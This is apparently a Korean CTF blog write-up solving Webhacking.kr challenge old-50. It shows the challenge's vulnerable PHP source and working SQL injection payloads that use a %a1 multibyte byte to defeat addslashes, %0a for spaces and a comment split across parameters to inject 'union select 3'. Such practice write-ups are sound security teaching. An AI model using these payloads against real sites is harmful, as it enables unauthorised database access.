Web Hacking/Webhacking.kr

[Webhacking.kr] old-50 / Challenge 50

ruming 2021. 10. 10. 21:14

 

SQL injection 문제다.

 

소스코드를 보자.

<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>

php부분만 긁어왔다.

addslashes 함수와 mb_convert_encoding 함수를 쓰고있다.

 

필터링을 보면 from, pw, (, ), 공백, %, =, >, < 를 필터링 중이고 id에는 union을 필터링한다.

level이 3이 되면 문제가 풀린다.

 

'을 우회하기 위해 %a1를 사용할 것이다.

https://securitynote.tistory.com/3

멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1~%fe같은 값을 입력하면 %a1\를 하나의 문자로 취급한다고 한다. 이 점을 이용해 싱글쿼터를 우회할 것이다.

 

공백은 %0a로 우회했다. ' or lv like 3#으로 공격해봤는데 Wrong이 뜬 것으로 보아 lv = 3이라는 값은 없는 것 같다.

?id=%a1'%0aor%0alv%0alike%0a3%23

 

 그럼 union select 3을 이용해보자.

/**/ 주석을 이용해 ' and pw=md5(' 부분을 없애고 union을 입력해 줄 것이다.

?id=%a1/*&pw=*/union%0aselect%0a3%23

 

싱글쿼터를 빼먹었다.

?id=%a1'/*&pw=*/union%0aselect%0a3%23

 

문제를 해결할 수 있었다!

 

[쿼리]

select lv from chall50 where id=''/*' and pw=md5('*/union select 3#')

회색부분이 주석처리가 되는 것을 알 수 있다.

'Web Hacking > Webhacking.kr' 카테고리의 다른 글

[Webhakcing.kr] old-32 / Challenge 32  (0) 2021.10.10
[Webhacking.kr] old-27 / Challenge 27  (0) 2021.10.10
[Webhacking.kr] old-03 / Challenge 3  (0) 2021.10.10
[Webhacking.kr] old-24 / challenge 24  (0) 2021.10.03
[Webhacking.kr] old-49  (0) 2021.09.26